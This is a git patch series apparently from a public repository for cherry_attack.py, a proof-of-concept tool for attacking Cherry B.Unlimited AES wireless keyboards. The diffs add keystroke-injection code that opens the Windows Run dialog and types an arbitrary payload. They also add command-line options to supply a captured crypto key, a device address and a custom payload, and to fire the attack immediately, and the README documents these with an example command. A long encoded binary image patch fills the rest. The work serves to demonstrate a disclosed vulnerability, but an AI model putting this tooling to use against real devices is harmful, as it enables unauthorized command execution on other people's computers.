keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R)) + keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) + + # send attack keystrokes + sleep(0.1) + + keystrokes = self.kbd.getKeystrokes(self.attack_vector) + keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN) + + # send attack keystrokes with a small delay + for k in keystrokes: + self.radio.transmit_payload(k) + info("Sent payload: {0}".format(hexlify(k))) + + self.setState(IDLE) + + def initialize_keyboard(self): + """Initialize the keyboard with provided crypto key and device address""" + self.kbd = keyboard.CherryKeyboard(bytes(self.crypto_key)) + info(f"Initialized keyboard with Crypto Key: {hexlify(self.crypto_key).decode('utf-8')} and Device Address: {':'.join(f'{b:02X}' for b in self.device_address)}") + info('-------------------------') + self.setState(IDLE) + def showText(self, text, x=40, y=140): output = self.font.render(text, True, (0, 0, 0)) self.screen.blit(output, (x, y)) @@ -123,6 +167,24 @@ def setState(self, newState): else: self.state = IDLE self.statusText = "IDLING" + + # Call the method to display the menu after switching to IDLE + if self.state == IDLE: + self.display_menu() + + def display_menu(self): + self.showText("-------------------------") + info('-------------------------') + info('1: RECORDING') + info('2: REPLAYING') + info('3: ATTACKING') + info('4: SCANNING') + info('-------------------------') + self.showText("1: RECORDING") + self.showText("2: REPLAYING") + self.showText("3: ATTACKING") + self.showText("4: SCANNING") + #pygame.display.update() def unique_everseen(self, seq): seen = set() @@ -210,32 +272,87 @@ def run(self): info('Received payload: {0}'.format(hexlify(payload).decode('utf-8'))) if packet_count >= 4 and time() - last_key > SCAN_TIME: break + self.radio.receive_payload() - self.showText("Got crypto key!") - info('Got crypto key!') + # self.showText("Got crypto key!") + self.showText("-------------------------") + # Log the Crypto Key and Device Address in hex format + crypto_key_hex = hexlify(payload).decode('utf-8') + device_address_hex = ':'.join(f'{b:02X}' for b in self.address) + info(f'Got crypto key: {crypto_key_hex}') + info(f'Device address: {device_address_hex}') + self.kbd = keyboard.CherryKeyboard(bytes(payload)) info('Initialize keyboard') self.setState(IDLE) elif self.state == ATTACK: - if self.kbd: - keystrokes = [ - self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE), - self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R), - self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE) - ] - for k in keystrokes: - self.radio.transmit_payload(k) - info('Sent payload: {0}'.format(hexlify(k).decode('utf-8'))) - sleep(KEYSTROKE_DELAY) - self.setState(IDLE) + if self.kbd != None: + # send keystrokes for attack + keystrokes = [] + keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) + keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R)) + keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE)) + + # send attack keystrokes + sleep(0.1) + + keystrokes = [] + keystrokes = self.kbd.getKeystrokes(ATTACK_VECTOR) + keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN) + + # send attack keystrokes with a small delay + for k in keystrokes: + self.radio.transmit_payload(k) + + # info output + info("Sent payload: {0}".format(hexlify(k))) + + self.setState(IDLE) sleep(0.05) if __name__ == '__main__': - # setup logging + # Setup logging level = logging.INFO logging.basicConfig(level=level, format='[%(asctime)s.%(msecs)03d] %(message)s', datefmt="%Y-%m-%d %H:%M:%S") info("Start Cherry Attack v{0}".format(__version__)) - CherryAttack().run() + # Set up argument parser + parser = argparse.ArgumentParser(description='Cherry Attack PoC - a proof-of-concept tool for demonstrating replay and keystroke injection vulnerabilities of Cherry B.Unlimited AES wireless keyboards.') + parser.add_argument('-key', type=str, help='The crypto key') + parser.add_argument('-hex', type=str, help='The device address in hex format (e.g. 00:11:22:33:44)') + parser.add_argument('-p', '--payload', type=str, help='Custom payload string (can contain special characters)') + parser.add_argument('-x', '--execute', action='store_true', help='Execute attack immediately with the provided payload and quit') + + args = parser.parse_args() + + # Validate that both -key and -hex are provided if any + if args.key and args.hex: + try: + crypto_key = unhexlify(args.key.replace(':', '')) + device_address = unhexlify(args.hex.replace(':', '')) + if len(crypto_key) != 16 or len(device_address) != 5: + raise ValueError("Invalid length of crypto key or device address") + except Exception as e: + info(f"Error: {e}") + exit(1) + elif args.key or args.hex: + info("Both -key and -hex must be provided together") + exit(1) + else: + crypto_key = None + device_address = None + + # Set the payload + if args.payload: + ATTACK_VECTOR = args.payload + info(f"Custom payload set: {ATTACK_VECTOR}") + + # Hier ist die Anpassung + if args.execute and args.payload: + cherry_attack = CherryAttack(crypto_key, device_address, args.payload, execute=True) + #cherry_attack.perform_attack() # Führe den Angriff sofort aus + else: + cherry_attack = CherryAttack(crypto_key, device_address) + cherry_attack.run() \ No newline at end of file From 10c157de9de444e7f0263c22a8b19ff1db7a5e8a Mon Sep 17 00:00:00 2001 From: Einstein2150 Date: Thu, 24 Oct 2024 13:02:43 +0200 Subject: [PATCH 15/20] update readme --- README.md | 19 +++++++++++++++++-- images/cherry_attack_bg.png | Bin 35190 -> 42621 bytes 2 files changed, 17 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 17625f7..98e60fa 100644 --- a/README.md +++ b/README.md @@ -22,12 +22,27 @@ by the Bastille Threat Research Team (many thanks to @marcnewlin) ## Tools -### cherry_attack.py +### cherry_attack.py v.1.1 by Einstein2150 Proof-of-concept software tool to demonstrate the replay and keystroke injection vulnerabilities of the wireless keyboard Cherry B.Unlimited AES -![Cherry Attack PoC](https://github.com/SySS-Research/nrf24-playset/blob/master/images/cherry_attack_poc.png) +#### New commandline Features + +The `-key` parameter specifies the cryptographic key used for the Cherry keyboard. It must be provided in a hex format (16 bytes) without spaces or special characters + +The `-hex` parameter specifies the device address of the Cherry keyboard. This address must also be in hex format (5 bytes) and formatted similarly to the key, with pairs of hexadecimal digits separated by colons (e.g., 00:11:22:33:44). + +The `-p` or `--payload` parameter allows users to pass a custom payload that will be used during the attack. This gives users more flexibility when conducting their tests and attacks. + +The new `-x` or `--execute` option allows users to execute an attack immediately without using the application's user interface. When both the `-p` (payload) and `-x` options are provided at startup, the attack is executed with the supplied payload right away. + +**Example:** + +``` +bash +python cherry_attack.py -key 1234567890123456789012 -hex 00:11:22:33:44 -p "Your custom payload" -x +``` ### keystroke_injector.py diff --git a/images/cherry_attack_bg.png b/images/cherry_attack_bg.png index d49744f3fc38d4472d4d3d828d853272d364c462..d8757ede4051dd79d2f995623b44987cb690b13b 100644 GIT binary patch literal 42621 zcmeFYWl)_>);5X-5+q0WrA3JN+3{Lnpx2QB;6 z>#g8dyN9Z#ld_>Jk-dYRnT53}k(0ZJ=aHjdtEFT{ajT;Sga)=~h)LM++yj?Wn(VIO|C?IT6*t(!UWJqUwp2 zn?|88skuIGQQlKuSBVm6n<^21p)sPPcpK6c-W|s8uMNjs`vLv;omM_u@g}9UMBN+j z7NQc?8*GO~nX2vm>10_aCI=QX^=7C@@?YLKoj=P0-pz2QTyTX6MEN>u`!TX=X{n;~ z`cHzzeY6k}QIrx9`Nw*|DpI|_@JqHSVg@RxNXu&Ixma(|O_A|ycGFYpH69Ke1w zi?dKSfcfn-+n*h6#L!Fwua7PoYYAhRq}7>9ma|;jbg;a7qnB##zIfvpIPTv8l_8n> zHpt?I9omrf4E(0|%2V1tnq%(c8YvVEK?l9}SK*HN1299M6Q}$6-hb4jJO44#R%C72 zKHAQ#HcD;KU0dX^uu`P9TQo}PYxwSuV2F$llSUF+#o`SbN7v-NsFl2nhtfr_6Lr@?mR4jeQCA3p-n)N1293cFs=xBqZQH z(Ld&AV=pK7Pw}>ne`^8ggVD{iP6S}@n65;=p^O>g#10B|MeS=s=!Sdl}#P( zoE?l!#av8nok;&xgoKow;y)!kF3H@&#{SQufb#xrFcaf{_Oo|(u>RA>#F)|4+SCRJ zbp-Qc{47H0pWtbd!^Hy zm&e4;*usS8&qr=9CMGUsBSU&)4rVrbHda$6dM+kzBYHz_E;e=!LndZ3BaVL&C1vaA zWN2$_`X~wrXRrWrnAq7_Oqsda>6w|#xarxLxJ>B{nK(J<%?z11*jTy2J0|vj5uxB< z0j$!{`d?@DD9Qwg;$~rD<1jMhqBk_*Hlt@_VP>W0Hs$1`H)iEBV`1Yo<}fzq{3Ggd zA9#cnrT9r$7?}R2MbX;O$;{5dhMz>v(3nU;<$vC&TG*JXI2k@_jhT~$o0Ef+nTd&m ziHnQ-Uj(X~IyeH0dlbsd#K6k+=j$fMJmNs4A+Q_^8$)wbMtfWHKQA8lg$Jw#Xx8x2 zP=Vw>?O-uHA`Yg8PIeBec6QeMB#)CNdKCH3*K)w0Obne2MGc)y!Dvh@Y&^_NJS=Rg z%q%?Y%si}Iv`j2KO#jl~&cwpZ{r{`?qxTT;{k7+k7LH(i_diX4xs;0O`@f$4dbGCq z<4Z(Df4qXn(D<(NAuFpHFbx)VU}0RWCTuMKF5S`2%*oZz!Bp5B=n?1&*ykTz5mEiMh1CDv z-SwU6%*8 z;onMo3_SlA|NXrg{})F9qW?R{f2804s_Vb%`j0g5A9en(b^TXe|B(j%qt5@euK(ZE zh4?=Om8mU&L9U=&g5y961*I0ek&J{W)WhTduZ?*zpyippq!y^pkX}6gKtm;`;($g3 zCn-5Gge^oIL{=*DgxCI1P()BtqQa_fGka;SZkQdfx&%G>6BZ=j91@Lq9*PyfNWZA} z3(O@7!Gu=&@%1|9pPz+@(4N9gixP+Z`S3;v4(5Xp5uE5_>%Tp~5EDJVL4zRyZ~oVZ zr_ku&%?C8J$8P`IgV58E$2WXIG|l=o^vvk12i}Pn`&}M)JQuTNlG0epeuM=pV#8{s zK|c+>V|j|*dclZOWe9#wkjUF|(#&~F^6g16GI~w_)YRy!fhX`wlMwcXjD0^cDct+P z8i;`rrJM`TOEw?OnO-b0lp%?!nCMWC9L6bY$c~@3*a!CtMYnBHXm>QLF}ZIyC{8>Z zkcn4rf}=ZM(gaB{J@~_*e8&{x#3p|T%oN12Rv}!CM}!hcs#~T-3H1jX|9E|E@Y9E} zs}uda^8@uT%ElxU$e$ zO~ll^l^U!wlaBj=afQ74vw2?dVV{?8rq3PI;z@d&*A~;TUDGFahWoN=<2OPFQI+=8 z8zRAa%||D#g>o`p`o6e_2_9czte^}X{ z3b+&SjNOn)2)$W(_06N@t%ZU##rr{+gw>g#^JlMF zk#kBj`jB4n8qrN4VUL;^QCdtR!YpjZ3=o7UH<(^M9Tj{aN$EdmmX&RH+Ip(bUbxA( zxJoH?>rRk6pT9!pzDp>rEj*~C;el7WAvaPbLC(gTJr`n*BD1(!W3Y&5NS=KY0TFXZ3qrOD2e-xP&6Un0B>uT3jHm8M~a zk2YXB6#STK>!+*xaxRUJ z7#&L2*Cu*LPjtOg9CTqY2ZH>l;xz5%h)hp8`hz3ie)qR>wM`?>R)$6Bn+(T{ zpI3X_${cs0=X37X!_`srFJqq|enmtQo2-GJ@o-jL8}T;d#9=;|4t_srTclB97#Sg~ z#pM6nB8KqYj70dSS8obC57V03!|%qfTxVUr7Ap$)o|jm2e6EKW&A3AC`kI$@bOk5} z(vTpVigMM}RSi!R$F1@hH+em2i?`8~Pi=Rhh3DqR4a^|i86h8LFNiD=Zse=pSZdPg zgT60WPl=5+y-GoS-C1MB81J}Q*3tQ)BaGx1DiAiq!+vb3N|;k>mtJYC(BL;UCtIbW z;YQ=x__TO;M{e4(M}4L}P)1U}3BJe7na7sj6?%1$pKLHmVd?VAR)Knty3a)7Y`feo z;%G@@3B>J~#f)e@@|^08$kW%n7<%V4NgG&qoxJj04auCurfo0Rrly<%bD9n-nF+%? zyjEgIH8KThk}C#2&55;sxIbRZ}>*WP10`EzQ} z0E%e6I!^M#hf7o+?8AwHieW`2G{JKT<@i#UftX#OKoZk)p0T)eigznqsx88hyU)>_ z))dRZ(}Rb(;xb2^FO>4E^aLfz!h6H{f0$i*jvmLf`*J_&v(Vs7*hkciAn2;GpbhnD zxOWdSm51Yw{N7Vn=%Tw(G@~PCK$&#xI4=uL`_b?fFoc44=M7W7GGUvC?f?jIZ~; zmF1MQnW;ckyWvPmSdMQ_9n2|FT*z91ek;CTjioe9lPX2Q>{ zUQ3Gc?%ELqo9Yh`YNky}Ol`S?jG<}AcDd_bscz_7!Rw{WFo~V|^_>f)%d1*D$vxg* z#i-&$NyS>5DN&Mhc?NGIBZq!4AAR3TM2q5@^iOb_Mv_@ptMDkvwKbbA3&@;@Ut1T| zgo>(-LU5TWbXJzfR@1LZXSCUW$I_>j?oAmp5IrkFy(5NysS*^NWu;4~R`yMkQIEoO z953%2K7Q1kiGVM48J5F(A&fljMgo^0XsEDpSd|KaB~c-j#Nq(Pn)BNMZtEIm^hQ7B z+bK`(m(ZqeIKY3u+`LJXnn!xo<|UBff06WijISOwX=8 zOnHlc9ecDTK1Jh&zxr;J(4&D)+Yrq#F6CdyY!jCf7%(~C@5ZF3Sfe%Wws6w#$= zQlB<;9P`5r7pJNCo(@miO`JyaM)^`(sWpP44x2=ia#ISe6eAOb3Aw8M zs}K7Xg`zj;T{xCLeE8U(e!%AQm0AZ+FY8(q;xnKBEyw!)MYHf>T^$t9u{=K z_3C`BaVPB8T1i?d4E=DtsD{gGwtH&WjR$;@gcdrCQG(4f0&1$?Hhp_d$gSI~3=G7j zohXN)nazaBG;z#?JPxJK?mL1-oZl1!gKJ%}Reh3wUsb%$cws)|=(4!&^l>nG$NDJ@ z%mHul>a}f`(cDd`%Ap7@fp~X+{@^ITmAZsZA^dRTqCGLN&j5zeJg(N8|rf-8o^xO|mtEF##!*{WRLhxwJyVJjb^KJ7|B zSbJ7mJz>j{{_0c57rzSer~!e9wHxBs$L!tZQnEhzBR$3sN^>Z+?~5M}1fOWRDkE!YbGK}O5^*(*PZk_dL&p>h+<#!Z!0T)AI$8o z)SbBJ*Uui~GrNd6t{J@XR5-X_UOS%){c3jgwi=JNudU-DakG`ly;xtoyuXZo z3}8B#L4sXy*~fj&vvPv5bMRTlE&A+$RxNbpI})}mrPsNh5drSc{a&XZS4u|p%i0OC z=*zhEuSG=4>=lI8+#t{}#hVP-D!k8}Lsv?!0&6e&Sqc_yha5@6X0tl$L%u%Ldk>F) zzYyvhtTZRg<)1dl*?*WwVPMewlW2ar6eFJ=SS&kw= z9g)y3AwfUh6noX0+jH>vD<h(E?-sMXH&F>(jzQeI0#M40`XkZEEIpMBxfpa(<-OLg@N~QH?(- z2yGuGZ0^+mbdgJNf0(hvRoIqq?nbVkx6!N2dDX7=l77X-C9YK`5?LN5YF=%qyyH!O zNMsrwE>vA^_|f(_y+T|CM27!&wRL>XZ)t6moe^9Jo|+h9?Z*3kkMuI**1+=+MKhL% zd2*`s9)IiVdbqc;yuVx^>;3)Vq}%5V0Zm#q9FC>yIO#W@17_NKtMKwLFmGq75S;5K zysn|0Y|eXYwVje;7P{tl9cQJj=c3x#VEpwuYgkXUOd@54dJ_g5v}3WfSDi*e)tPj=wIJBQ;3ndHx_jO#AF z-}~OEGBWy8dPnc3AA4twW+J1AX%WGhYEsQ;j~`o(5smJa<&fp=elQVGkyfUPYG@=L z2y>Yxf?ErfI60|1dem*ingz{;Io{J7<# z?KUk__#+S*cc zrCvey9qSGnf~)a#uLx>%45BpUE8lkzYo~mQn8dl;+x$=d88a)kzAydx54C$}aD- z5R67KG9LUj7T@^>}@U!bbmH!gj-SL?p4QE6#XSXaIr(&uSWX0MtD~!!N_vM_x0H4ZFsZa5BuSdrUNk)Q$_^n7Yv_u!XS|Us>S5F!oZfXV-f6RyV=v$r7IPWQOrak2F zHQ-`|Iejr7MJ?FWfqu`bH&J6%+6Pq!29kBv=|h1>t#|p1`d(&~&L(akh&l~P@#L6d zYqShEESP^j83}UmV)FR;^ol$5@&0&Qhobg#LUN1guv?Yd(QxnHmnt0XT=U4BRXb(n z#*uocWc3G#)x@!PUW7AMd4dW20>k?xrImB{D^`*fTatPOa83N_Ln=d}dgX9o{^;^I zs$`{FhZNT(=6Q!R7%!Oeka{xnbncQRx6UgC1g>3)md=RGFmp;D-fvf=!utDUox z*K1a{9mP*<1^u4WMvcSV8s`Nzy(8krcLp^Ky?Je|bO~HM|HZGap$~g9d8^M@ectGl zawLBfJ8AOSN;6;Y2`YLbDle$jDd)av&KqC)L{zQY89s7-ua*vlxu&EIN-+pdu%UNr z^>#&ugSLD)c6m&wzQxb518=i;x)Obj8Tt#^v(ljRG&A-bY*Z+l#+mee`n}t(j+~{t zH|Eu}VXUoAm%j3_V<-EX{ap%~#j4B05TQ97MCVY9q&%r!aa7SfxwN-Y;+S({!Hu&> z(wDYDj<~MA0y;1-OY_UPpLHHu&xY>V0&R&8Vx&Ia9_f|1&U(EI7qH{E$ZM)WYCBNX z@9AOq5`!fm5E+NxSJ`mV;P)|zC`V_^yxs$Uw52V{^~PvbSGy2ur`(iap{joRti$2{ zO(zyP#YELNIQX@m&2LsCM5msN1{0+9(>Wbcwkouk7&EUU4BXg@4wLPk&uO0A6?Jvf z6u%N7nPp8svf;!jOXpk7J(<;oGx##Nq&aBNdeG^5ILMeW4l{MOiFj%MG+W2OnA;^f zJFxGhu2wi{@b|2-t+BK5FZ_icu;l}G;`$~wz`igdSqAX>=N0s3DhXZOhHJT3!oh4X|sP(0L@UWe}sR-NbYK0qa z!6G&RbqtOMpJ!c7bZ|@x$tOvo)wBasI{oQmgo1i#AM72vxCd9wisbZ4ie&7jJdUFa zTk0IftDe84Ppt@2al^R}Sa{E!&UA`Rx5>C+p_9e1UneLjPJBY_EFqh~H@C+eodE(1 zHk!BRWDR?6TD?>%|BwyRfYS=*v+Xw;P=LNTSM;7wmd1*z96X?D3zE|`)@@Umk~52r zXK-bAo1SyL%hY(CgHbA*yJgA$+IzBQ(|{A*$5B8`6AQ;LcVv`-zU4Erj)(70lb_MI zvxu@13Q^_8*r7=AM)nm$-nJtJt!=tqv$^~?b3gsUJs-&LgOd&ddzW~eb#-Rh`J^0p zT&ew*5A{mUxv-1%4(0cMXCr;3)}osu5JdMR&?j8C71tlR?U<4)8Ft#IrY0-BZM!1y zZWvbex(3dg)TD4FEL2%lkVU7DsZ-bZ9K(F5ua7+=6 z+h-b&^Vg5}p9+_ek&iAnl!Eqc{VD6-OPKD~y&CU|E?IvE0-qf9FH4S2N9T{#>fI|i?tfA=m$-OkyL{;7y_PWl3`Y; zqKkEbeYOGAeHz3TV{ZJTh*CN2m4{G0NU0(*w4YwO>_+!Q(9#}dWs07A;g6h!6y*&? zvDp#(ls3k4dJ>sRXVPi4ZtGRvy2k6k1}#kaly=BZ_lcf!{aDKnGQUP`W&yKc8hWEGmk|brO(jaB9`aI>*2< zq)K3C=ftj8Iy|~8Ba867c2CJ$@Re$Q7?yC7?J9NOHml~m^+xv5F~!j;dTlaCQc7jA zGWn7B?!e89Ipl9G*G)68KuVr2t;g!kY93M~TNrW{QlZzwFPja;=X_S*5ly*Ur4dlK zW#GmTjH*NOc8y6@>toYUsSDjA(o?@7NBpPvJ}kY+7ZonGwZG9|nlIrVCJAj^wHCio z3opv{>Q6bPJ#TKgJKjCjZgQh2I7`{5!rZc)Jlf*^?CU=0?OYv~fHeEK$d$rednv#KH_IHwl$>Medi=UR>Zm^3GF;7Z+D4rhz6zadtK|1s4s9 zLG9iACMCRlR5f4ph%@HEbEY_35sk^=d!Oc4Kw&0~kGqHZLEx8eI%&J7pXPq2LX-Zj z@uC7>gT8r&xq1k4K*-EoeJc0%W&J>q#UeEFtLnFn4p=&8^n1+JN|!g8PZ31{YkX}M zK0H<&uADc(JDC>y+3-dl+1IwsW1Z(`qE0sjQtwwN)j*`oVhsfE`U!%J`)i_5kJ`vl zTi;~u@uzpTEdDoLUh6bHed=$oHw^#|_<|*^x@`EpFHU$dA0M0)IPUASq;ZLzoQyw$ z5dwEuPi2;{Ur=LM>2DSbaP{evHx`db3EDAmrFxUY6EE&QozI}GU2^^2QM|s%WH5NC z*T~~mWs$U8)3y5U(JP*wz)!qV5_LYnACKL;(v~3Og{5-1|I9seG&5gY3KJXwf%Bej9H7JZ)sAmPY|^v|7Wt(AoZ;}9B|f+!kL-Wk zTwfmFg!w>pNILQ1@stOF%l(85S$eV3$~cOz)d&{eva>; zLx9bg8}zbz+PX-)DvW@?ZnV-u#jHP3-pk7?ezMB@#%0Ws9iPXk`=ZLsxnyr{SMTC* zQNi9GZL&nq@%8R_A-4HY`sz|kfbFPmqetM<5>Y&Z-p<91N}fDeQTt#TZwFF(3_*7^ zxlBlC?LZh7Ewx4opIzg4MHy|n4NK;=hQQ3-pYqiNhd2qT1M zyA#E52)u`|rONqkH~ZB|+^3X#wk}X~x;0N3n{N@DZ%n#HfO_+htRp4gEVQ&=iq2uw2SeI*0PY<2u55I**gS7$9 zMU(a3xWoZ7%E?Y3o<(-CM30w7t>CkGmT=*?a)lXv)5E=IbsP!hL2UnE(l~#yW|_b3 ze4SFg3%$PQzFIt^LBzP_fXh8aOlTaf#z?7wV4c%;KiK42_frZevx+3OLiORtR_EPL z|0k!++0VB5J0d*EjcY&^>$2~j>-tR_F*E0|Pg@pw++qsWms$5Nss^8H-EaZ0DQY`5;2C8Ye zJ?Vpc@+5O|*J81WzruWIWukZsc{EkPI~k}%@yFNGbXqMvEA`D@8vb9ySrXGV?@13E zAq05gR&cW{roB*7KO z*Bo*btR9W&z+N4eTg3)5nz08xAqVrwues0&2?>D;TW=0gmxsWyAjJkp45jb><$Oy3 zg2j9t`=^)m8?~G1#&b1g7IVm>iutPjsobBaRdUgA-P3Yp61emv%(h3PqoRHVp}g9f zJft6k)XEbVI+|U0Zw{tu)j3f=+*U;P#58XlHdj}GL9O#L_&r~im6ge+^CbZ%Q30F& z?VIh~l`Y4!XV1Lu&L{g*I8m##S4U6;eee0^>s>b?iwP>gKzUsDKI$KKm}khD45rrJ z9(P#|rgFz@cxi1W4WHL}9vmMZpY2V@a4xt7gumiE8I~Ze^|{lIH}$#L)8cVG=m$=_ z4Gcge2)V_Y!(0o(CnXL^n&vlEg;c1NaObdU=dYQ#Tk zXl%?kXcibw+ADWES$meu?zn$!;!-@#t)UL_SZRMYQEI3nEcTDP00zDid~?AX31p$> z8Q$>^_q_WTHw9{iAbj*M`r5hj`0PzFGZ-|9j^?(KezAg&s|JBJ(zHFn!Rs0K={uEvG4No^6R)IaDnG>G-?za9PtLeX%dkH{6`lT;(4RPKW%h! zqjn?9r0)r?@NUS53a zg>gTAFfF)|?xsPK*{#Ig+_)^Ol4q)RzbaGLI;{74k2e;jJG$&z${$kKuP4u+=55|y zoysP&g(m3lq>+;Tc-!Jdqh2JLCy#%1dpg7oEW{$Wpr$kI~A00dOC-dJifN=n`cyP3*R^qHm`l6*tgtiTe&x$zU_CW$W*hhZ^TY0nG`0idjGM}=Ffxq zAsoq>oBnP7^<3Qwok6g-%Xg4Pp=dJ zQ9o6l%!{Rx97-;QgOq}zlNovi2m;P*;sNn_w(foK`?BUsu``iOJYA+~pSo=`(z9pl z^R73iAmse;gfQs4Wu}Zmq;ptCC*rJ-enooUTo|$>{kE)n&N((eAuK=qj&1C_QowWk znbRK13^a7~gm;ptMMmN#m;tBadsx6r^15mwX;BB2*v}_R8h)s;xPH4R$u# zf_Jqbtwu@vTc)Vk*!Gbenahh=JAD6WERYFSS2~b1i`AoJVx}A1S<`r&dn-o-C6VD_ zg@uJvGun)S2{jPNlN}Q zt3b!X>S%C3b?|OX?`FMoY<4>)0Z@aKm>4=vT1-d?Dn~l5cVyoF?%KKEj8#1Ai}UV; zaMnab^2jL0WQFYPz_ap_(nfo~M+R4dmy zm`dP6KpgM*gpH1k9o+KvEzm*3NiS_u9XOu+yfjg)!`(DdH0az6@ksdo9b6wkGMOt- z&v#po(?}BV=HawkFzEq@bfi z_G|LKS=rp|0~q_=@V6%hzWi5Bp4yNU^Xp9l9Gq^DvD^+DTPiKb!)n2`3%6sVGY{|F zt5hE6Flbo#-^H^?b2aY+GDQUKEgJ#wAUJaz+)1As_f`-rJYMZ$^}cqJj;C985=3~O zT{lvqS1%4g?RbHj@nVxVfaA<>e?duHE9Xcb@0OlEqM*{|dpvB0RP&Ryo(O<{%E`wI zCzk*``wCLcTmx>$?@U4yLsXih%?uq!uVSq<+QPGG;ds;gOJjDRm4P!?=bh|MmlSrZ zmjEDq1CB?)T!ZwIjtC$@u+frG|Mu|jck}-3 zqTb&R|A&iue_i4GKU~!N`wHK`j<}`{Pabd8qa*1XiZ!G{d%qphe z7pZQSrwY2lYsG7on>?e}`HAtD8dNFdlDkm_ZzYY4{8u$o%x9FU^K9fDVyna zK9`mfVl(P{74^L#F9-nYG8yPkV!gVUr4|(z=ZUDY9gVm~!CPKk4Vbs>GOJK3^%1$h zGDp>5F!-ic7;nAMAa?e6*>Op#-K^rc1%Z&s_24yBL&F)H^;qId`q{6_`9Eg&87#m; zFHPp&L4ni@FuL&{owUUG&)b>%r5d-4sxYS+c*&Y2?gb?Ts-Z+) z*9Bt@c_ZYp6YzYq6xFziU-+%zHMuDX^~XRaZ1NdQ&M9rKWJ&{czdW z1_AdOGO|}uuS^l_<4w%BM@uc3bT};;zP4heldQJ4qIKtP%#_K?A3Lmb_3EFyI!WY$ zD3w&#D2nPi30b1lk@IN0HQB%Zaxt_ zUgTUe2k1sD5K-ZHT*Kf?Vxr`@C41uK)ud{H?lkENG(dV5V>S7!r@@5JeT#Y(k-s6q z`BO$f!(La|FTd&9?37DB-E-9YF>OsCsG)03m*LGbaeUPoPBmtEZmbm18c2@zG#v*3 z2yqZ)xV^7c3!qi=w}vY?#|tLCh*qG{qHLG=xVe-3{QSDU@dYBu5TWs*gShNRA&1A? z4#MDy?B$sZjYj^(uXb4F$&Y6~SL|JzSEs(-*1f8aTi;?Vr>pxKgfVjBW&OPZmwn#h zIys#@p%7F=t$1p+g38s?53mS-He6VLbEe8lwM4h)SgTn5^uVtLAm+8qkS;wo%kb4h zkhh;bn!kSout4+gI@J-Yj@u)q+oOm0WKtemyUb&FD4Cg=q7o9IIj1Z4a|cd{P!s|) z4)WuCoA0kb)zok)5pkOgrSr?L9FNeJjzWrE`8oJGIh}TgUrFli+cM$&*(A60wKbEl zm-H}8Q`04)p%`E@vWDLcTe8Q}>%`}!dxU{xp`7{ViPAd@96mRu=KEwk*8=5r8mEI1 z6a#}ri6%ro8=M$0T0=v_pOp`u@p7z5yCf8795QQi<XW`l}NIDL9|uF_nn4Ld<{bEAr?)A#?a>y`T@JFL6?UVlV95PDYkFxoyf1*wL=338-h-QPW zi5F7QPZ1GauH~-sXo#dRqRBEj*w`5_1YFN6 zzh^H5pq1M`Rf9_WCB3%dcg1Bd12a&lm`#_Pf?8vwdXX0lyOIAZFq-WBS~qdmW=P1> z$4k(^PDLg1>VB}{p>)W^w%WSttx@!qw+Sui!R1Z7qtg7r1W-q=_`u9}RZB7{lIsnW z=dUjlU~eAC1q28xrrSY*qFG^v0tHGSqt=fK`I==$O}fN)AU!g9U$go9`{Od780VEA zlOYEB*VJe>G5m6VaG>CGL~BpsS%XZ8JA_3I3A%s z&36AZQE7dSY#AQ(AfI708dRm*;Dr8Zx*t^d?ibVYP=I)d2I)B&1m$mvYj;w~jvKeF zAD?9`ZEkjjC>ej*zd܉uFuua~K>&}v_hD+#-xYXmv3`>?7bpVss!$f>S9fTS2ny0%!t*=a*&U(HskVcJ0rQAeH zy+k)DZ(iq-m?IVUlKcQ;hXg9^i9y#GB&O^tbZeL3R0bVEkb?s(R1s9tm#4hR)xKpWw4Sa;uEA%V>~ z@4hn88a(Iv1!4vczXuylT$o{-gojsyNU=J=*DmU}O_+X&STrMz=5_#ll?-7y(#{;a zet>!M=!gCYBFf6ZZUK($W{x=i5w-6Eif)VF-=D=5svD1Xp6^XJ#-#DODucZGSeBdt zMSBW5QL6u4H8OGbxX~t z^*-M`$uF&77uUb&YJhMl2}p%sUm?d3)UzUHRjSLCQw98$W3!Cve7(E{Z^mmGd3g$+ zYYM0Ugl355xCXFRVS<%|Fh>J}X1=ngg8=F){XpY4@JhOeT_6S6^;5?ifQWIJzCMVA zZ;$23n6Ip^ZcpX2c7(-2@om;cnF8OVme1V*@~ zB1@r?-XxIKB2+kGulm276C_{b~{6=UMH2$Hugi zg(@j8{U%5G^tfi|=~Ltr$%SaLGVj?8C_v9C<;l-?l{7tuvye>DNG+xTlMF3yQ z0lP^iwQ|mR<6Z>G9DaAX9h{GY3=jO+xJ%*eyQfq%8Hb&2@PK6&$T*-@DtrWiEdk_I zR8IjpgdBvaTF^jPHr^*QR1XUeYroowqF$tV0B*wQZ~!FE$k26jzS|{1=pCEm2lX*n zVh%F4?75P;-bI+}u+i@eb>_XRSE)TDkHCQ&USv=WANU49mizOmiN8!IORK_+jDo_$ z>FcGia*^h04M*rU$BV1eF1Y5FH{O4&UK3f zRa`#On!v4n&1#KyF#t(pEvuO#!8|#&v{V+J#1HrNkzicFH`+ph0^y@_ezv{gP{-O# zBds%Q2?n|J@J~I2$Y9~=de2A3zh!nd1sERxg!7+G>Drnq6Dc5`si$51c&APk7g6l2 zQLMdQS-7${EeM z+%;L3Wtl_F7OTrN`RXUc^Hs|&*X^JHb(!2{wo3KrcLJF%`(tX0)!(vC$D7dkJsLk( zS93xU`to(Y=d-yj!q#_7-`X0hQS|Zgk&OO0Z@U?YosO`ioBX|6B=|WoT@e&boO!2! ziI&;Jy*E^)-D1z`DglTz#xt&ovJ|*N??D@C9C1>ml{zSWH-o zm|??if+v89OJ{6C{$@75=fQYNCtQEvs%+e1KCverXnJ*8mFn`DbTyMkKh>U`$9@e8@3U@}} zBmBB{_RY36PY~;KUCAS4^;okPNI7Djy`Q=6Rxi`|uJ{Ge+J;ryfHuz0T4(HI$;>pY 